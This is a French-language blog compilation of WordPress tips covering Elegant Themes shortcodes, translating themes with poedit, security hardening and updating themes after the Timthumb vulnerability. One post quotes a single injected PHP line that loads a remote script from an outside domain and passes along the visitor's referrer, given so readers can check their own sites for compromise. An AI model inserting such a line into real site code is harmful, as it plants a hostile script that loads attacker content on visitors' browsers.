Wordpress: comment maîtriser

Les shortcodes Elegantthemes

Voilà j’ai ressigné pour un an avec  elegantthemes*, déjà un an! ça passe très vite. Je me suis dit qu’ayant signé pour un an de plus, qu’il fallait que j’approfondisse un peu plus la machine afin de l’exploiter à fond! C’est ainsi que j’ai découvert les shorcodes qui sont des petits bouts de code à mettre dans les billets ou les pages (voir les widget, mais je n’ai pas testé)

Clipped from: www.elegantthemes.com (share this clip)

Je ne peux pas vous faire une démonstration sur ce blogue car son thème n’est pas de Eleganthèmes,  il suffit juste de cliquer sur l’image pour voir ce que ça donne.  L’intérêt est d’égayer un peu un  blogue par exemple

• En écrivant sur plusieurs colonnes
• En mettant des encarts de couleurs
• mettre des beaux boutons sur des liens
• des slideshwow
• des slides d’image…

Les fichiers de traduction de certains thèmes elegantthemes

Suite à mon dernier mot sur la traduction des thèmes wordpress de chez Elegantthemes et comme j’ai déjà traduit 3 thèmes, voià donc les fichiers que je vous mets à disposition

Pour Grungemag : http://minus.com/mE98f8d6x (utilisé sur 01langue.org et 01photo.org)

Pour le thème whoswho : http://minus.com/mbfdPGAQNx (utilisé sur 1blogue.net)

Pour le thème Bold : http://min.us/moYK865S8 (utilisé sur 1sens.net)
Nota : il s’agit d’une traduction approximative, je sais qu’il y a des petites erreurs, mais c’est tout de même mieux que rien! Si vous voulez que je traduise d’autre thèmes  ou que je corrige les thèmes déjà traduit, on peut s’arranger financièrement.

Traduire un thème Eleganthemes en français

Les thèmes pro d’eleganthemes ont été conçus pour être traduits “facilement”. Je dis facilement car, j’ai déjà fait l’expérience. Cela dit, quand on fait ça pour la première fois, on commence à trembler et se dire qu’on ne va pas y arriver, de plus on vient de dépenser 40 dollars pour les thèmes et on panique à l’idée qu’on ne va pas pleinement en profiter.

Les thèmes pro sont normalement conçus pour être multilingues, ils sont fournit avec un répertoire nommé “lang” et dans ce répertoire il existe déjà des versions de langues. Pour l’instant je n’ai pas trouvé la langue française. Il faudrait pour cela que j’envoie mes fichiers au patron  d’elegantthemes

Comme le montre la figure du haut, on voit le répertoire “lang” du  theme GrungeMag dans lequel se trouvent des fichiers de traduction. Exemple pour le français le fichier s’appelle fr_FR.mo et Fr_FR.po qui sont les fichiers qui contiennent la traduction du thème. Si ces fichiers n’existent pas il faudra les créer.

1) Comment créer un fichier de traduction

Premièrement il faudra télécharger un logiciel qui s’appelle poedit et qui est disponible sur poedit.net/download.php. A vous de lire un peu la littérature sur cet outil

Une fois installé, lancez poedit  et vous devriez voir apparaître une fenêtre de ce type:

Allez dans Fichier “ouvrir” et choisisser le fichier en_us.po  ou en_us

A vous de faire la traduction de chaque ligne dans la partie basse (flèche noire) la traduction s’affichera dans la colonne traduction (flèche verte)

Une fois que vous aurez traduit toute les lignes, sauvegardez le fichier sous le nom fr_FR  et transférez-le en FTP dans le répertoire “lang” de votre thème elegantthemes.

Précipitez vous sur votre blogue et regardez le résultat ! RIEN? et oui il ne se passe rien, car il faut encore faire une petite manipulation

2) modifier le fichier wp_config.php

Le fichier wp_config.php se trouve normalement dans la racine de votre blogue.

Récupérez le fichier wp_config.php, recherchez la ligne de code

define('WPLANG', '');

et remplacer cette ligne par cette ligne

define ('WPLANG', 'fr_FR');
Transférer le nouveau fichier  wp_config.php sur la racine de votre blogue. 

Voilà ça tourne (enfin ça devrait) , prenez soin tout de même de vider le cache de votre blogue si vous utilisez un plugin de cache de type wp-super-cache

Quelques détails

1. Dans les fichiers de traduction il y a des drôle de signes comme /  ou encore % ces signes ne sont pas à traduire
2.  Une chose à ne pas faire, c’est d’aller trifouiller dans le code du thème, vous allez vous perdre et le jour où vous voulez faire une mise à jour du thème, tout votre travail va disparaître.
3. Lors de la mise à jour du thème, normalement il n’y a rien à faire

Sortie de roget.info : merci les chinois

Aujourd’hui j’ai créé le blogue roget.info ça m’a pris comme ça ce matin, sans vraiment calculer. Hop! L’histoire c’est que je travaillais dans mon coin tranquille sur un blogue anonyme, pour faire mes essais, ce blogue étant libre d’accès et écrit en anglais, mais dans un style succinct n’avais aucune prétention, sauf qu’il a été noté par un news group chinois et hop en une journée j’ai eu plus de 1000 visites, c’est ce que fait ce blogue en 4 mois!  Je me suis donc dit que ça vaudrait peut-être le coup de continuer ce blogue, mais de le faire de manière un peu plus sérieuse. J’ai donc créé roget.info qui est la traduction et l’adaptation de mes écrits français dans la langue anglaise.  J’ai commencé par écrire les 16 raisons pour écrire un blogue dans une langue étrangère.

J’avais commencé à écrire en anglais il y a trois ans, mais j’ai vite abandonné, je n’étais pas mûr! Cette fois je pense que c’est bon et tout cas je vais mettre toutes les chances de mon côté pour que ça marche. Mais pourquoi je parle de ça sur connectware? C’est tout simplement pour vous faire partager mon enthousiasme sur le thème que j’ai choisi  thestyle

Plus on choisi un thème récent créé par elegantthemes* plus les designe sont léchés et sophistiqué. J’ai donc eu un plaisir fou à créer ce blogue avec ce thème vraiment très très beau.

Nota 1: sollicitation serveur

Une chose me “préoccupe” tout de même avec ses thèmes profesionnels, c’est la sollicitations des serveurs. Je me demande combien de requêtes serveurs sont nécessaires pour afficher une page de ce blogue, en comparaison avec connectware.biz qui est un thèmes très simple et très light.  Ce critère dans le choix d’un thème n’est pas vraiment important car on peut activer des dispositifs de cache, mais tout de même, je pense que si j’avais un thème eleganthèmes pour roget.biz qui tourne à 10000 pages vues par jours, j’aurais de problème avcc mon hébergement.

Nota 2 :  attention aux codes d’intégration

Dans les thèmes élégantthems nous avons un epanel d’administration qui permet de customiser notre thème à souhait sans avoir à trifouiller dans les pages de code. Attention toute fois dans la partie “integration” on peut mettre des lignes de code. J”y ai mis par exemple mon code “google analytics”, j’ai aussi mis une ligne de code pour la promotion de mon blog vers les réseaux sociaux, mais là ça a planté un peu ma sidebare et j’ai mis un temps fou à comprendre d’où ça venait .

En tout cas je n’ai pas eu besoin de traduire ce thème, une chose à faire en moins puisque je vais écrire en anglais.

* si vous cliquez sur le lien elegantthemes vous êtes dirigé vers mon liens d’affiliation, je vais donc gagner une petiet com si vous vous inscrivez via mon lien. Cela dit, je fais la promotion des produits qui me plaisent. Franchement j’aurais du mal à faire des éloges sur des produits pourris.

Un peu de sécurisation WordPress: facile et rapide, faudrait pas s’en priver

Je viens d’installer un plugin de sécurité sur mon blogue. Ce n’est pas une nouveauté, mais dans ce blogue, je dis uniquement ce que je fais, et je fais uniquement ce que je dis. C’est d’ailleurs pour cela que je n’y blogue pas souvent.

J’ai donc installé http://wordpress.org/extend/plugins/wp-security-scan

En fait c’est tellement simple d’utiliser ce plugin, que franchement je me demande pourquoi je n’ai pas fait ça plus tôt!  Ce n’est pas très spectaculaire  et comme tout était à peu près vert chez moi, je ne me suis pas trop posé de questions. L’important tout de même c’est d’avoir renommé ma base e données qui commençait par wp_ en un autre préfixe, pour durcir un peu ce blogue.

Donc ça commence avec la partie “security” c’est là que j’ai constaté que ma base de données devait changer de préfice. Ensuite avec la partie “Scanner” tout était au vert, c-à-dire que mes fichiers un peu stratégiques étaient dans le bon mode d’écriture et lecture, puis côté “Database” c’est la partie où on peut faire un backup manuel. La sauvegarder de la base de données est recommandé . J’en fais une fois par semaine sur tous mes blogues.

Avant de faire ça sur votre blogue principal, je vous conseille de le faire sur un autre blogue un peu moins stratégique. Si vous n’avez qu’un blogue, vous pouvez au moins créer un blogue avec un sous domaine, exemple test.votrecomaine.com.

Pour la partie .htaccess, il semble que je dois déplacer ce fichier dans wp-admin. Il faut procéder par ordre.

Alerte de sécurité sur un plugin : IGIT Related Posts With Thumb Image After Posts

Vincent vient de nous faire part d’une faille de sécurité sur un plugin  Related Posts  de IGIT, qui utilise des petites vignettes pour illustrer les billets relatifs. Vous pouvez aller voir dans son billet  (vincentabry.com) à l’heure actuelle, son site est planté et j’espère qu’il va se rétablir bientôt.

la page du plugin pour infomation

Clipped from: wordpress.org (share this clip)

c’est exactement le même problème que j’ai eu avec mes thèmes de chez Eleganthèmes lié à un problème avec Timthumb ! (attention je ne fais que répèter ce que je lis à droite à gauche.

Ce que j’ai compris c’est qu’il faut désinstaller le plugin immédiatement et ensuite aller dans le début de la page index.php pour regarder si on a pas une  script de ce type.

echo ‘<script type=”text/javascript” language=”javascript” src=”http://superpuperdomain.com/count.php?ref=’.urlencode($_SERVER['HTTP_REFERER']) .’”></script>’;

Comme je n’ai pas été affécté et que le site de vincent est hs, voilà deux autres sources qui peuvent vous inspirer

http://wordpress.org/attention-igit-related-posts-with-thumb-image-after-posts-phpremoteview-attack

http://techspheria.com/2011/08/phpremoteview-hack-what-it-is-and-how-to-remove-it/

http://www.maistrafego.pt/wordpress-vulnerabilidade-timthumb-igit-related-posts

En tout cas, c’est assez urgent,

Migrer un thème elegantthemes

Si vous êtes abonnés au site elegant_themes* vous avez dû recevoir un mail stipulant qu’il y avait un bugue avec Timthumb et qu’il fallait faire une mise à jour de votre thèmes le plus rapidement possible. N’ayant pas fait de mise à jour de thèmes depuis que je travaille avec  elegant_themes*  je me suis donc intéressé à la bête, car on se fait toujours des noeuds au cerveau quand c’est la première fois qu’on fait une mise à jour. C’est pourtant très facile, surtout une fois qu’on l’a fait.

Alors, voilà  comment j’ai procédé

1) J’ai lu ce que le gars de chez elegant_themes* a expliqué dans son courrier

Avant de mettre le thème à jour, assurez-vous que vous utilisez la dernière version de WordPress.   désactiver tous les plugins temporairement avant de faire une mise à jour pour s’assurer qu’aucun des problèmes de compatibilité existent. N’oubliez pas de toujours votre version  WordPress, vos thèmes et plugins mis à jour afin de vous aider à vous protéger contre d’éventuelles vulnérabilités.

2) j’ai récupéré mon logo et mon favicon  sur l’ancien thème. A l’époque nous n’avions pas l’option d’insertion de logo dans l’epanel.

3) j’ai récupéré les codes adsense que j’avais incrustés directement dans le thème du blogue (dans mon cas, sur la page singlepost.php). C’est la seule modification que j’avais faite directement dans l’éditeur. Tous les autres codes que j’avais insérés était dans le epanel

4) j’ai récupéré les fichiers de traduction française de l’ancienne version du  thème sur la nouvelle version (fr_FR.mo et fr_FR.po).  Si vous ne savez pas ce que veut dire poedit et comment traduire un thème. Il faudra revenir plus tard, car ce n’est pas l’objet du billet. Vous pouvez très bien continuer à utiliser le thème en anglais.

5) j’ai téléchargé mon thème en sa nouvelle version à partir du site elegant themes

Plutôt d’écraser le thème ancien, j’ai préféré changer le nom du thème pour avoir les deux thèmes en parallèle sur le blogue. Puis j’ai opéré un ftp de la nouvelle version du thème

6) j’ai reinjecté mes fichiers de langue

7) j’ai changé mon thème en prenant soin de désactiver mes plugin comme il est conseillé, puis j’ai reactivé tout ce beau monde

j’ai reinjecté mon code Adsense au même en droit du thème

9) j’ai reinstallé mon logo et mon favicon à partir du epanel. (il se peut que vous n’ayez pas à faire cette opération si vous l’avez déjà fait avec une version de thème plus récente que la mienne qui n’avait pas cette fonction)

10) j’ai vérifié si tous les paramètres de mon epanel était déjà inscrits, et oh! suprise rien a changé, ce qui donc pratique car je pensais au début qu’il fallait que je me retape l’ensemble de paramètre en les copiant de l’ancienne version du thème vers la nouvelle. Notamment l’onglet “integration” où où j’a mis des codes comme celui de google analytics

11) j’ai vérifié si mes widgets étaient toujours en place et là encore surprise rien à changé

Conclusion

N’oublions pas de mettre à jour les thèmes de temps en temps. Je dirais que tous les ans et une bonne moyenne ou en car de faille de sécurité comme aujourd’hui.

Ne trafiquons pas trop les thèmes directement  dans l’éditeur, tâchons de faire un maximum de customisation dans le epanel qui est fait pour ça. Notons soigneusement nos modifications car le jour où on change de thème, il faudra reinjecté le code modifié au bon endroit

* le lien elegant_themes  est un lien d’affiliation, si vous n’avez pas encore opté pour l’abonnement elegantthemes et que vous vous abonnez via ce lien, je vais gagner une commission. C’est comme ça que je gagne ma vie sur internet.  Sachez que je ne travaille en affiliation qu’avec des produits que j’aime.